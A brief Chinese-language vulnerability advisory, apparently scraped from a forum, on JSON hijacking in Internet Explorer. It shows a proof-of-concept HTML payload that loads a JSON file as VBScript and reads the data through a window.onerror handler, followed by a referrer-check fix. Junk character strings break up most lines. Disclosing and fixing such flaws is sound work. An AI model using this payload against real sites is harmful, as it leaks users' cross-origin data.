简要描述:
( Q% B1 s/ E; G. P% h# t
' b1 @( L+ O$ G" r" l由于某些资源容器对数据处理不当导致json劫持漏洞.
) r, `+ B' e+ Y( _详细说明:
$ R* S$ X5 q }5 b! a由于ie支持vbscript,所以script元素可以指定成vbscript语言:
9 T5 G$ j- I- [1 `2 t3 _<script language=vbscript></script>. s8 W3 b; N2 U6 N. R" u& H
! U8 j9 ^+ R# P) p5 D
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
6 V3 m- T) b c# w漏洞证明:
4 e E& O. e: W% Q: j<script>" r. k" O8 X3 i& j& h s! u2 t) d2 g
window.onerror=function(_){
% A6 y& ?+ U1 j5 f6 Q: aalert(_)+ A. O6 g" H$ o9 s% H& j
}
6 D' l% }/ o5 q& z5 Q# `# s</script>
* n2 u+ |- V& m: D& x0 m<script language=vbscript src=1.json></script>, F; p& w% h }2 k& w1 Z4 e
' U( M) D3 w5 c7 a- f) C0 m6 _6 f! M
$ ^9 \2 G# {8 T$ @! d1.json:2 P0 J9 F5 a2 |* d0 }$ N$ V6 T
[{"name":"sogili","age":19}]
4 p' G2 U/ ]% }1 [修复方案:
9 _: z/ _9 W7 Q/ G5 e. G网站业务对于这个问题可以通过验证referrer是否为同源来防御 |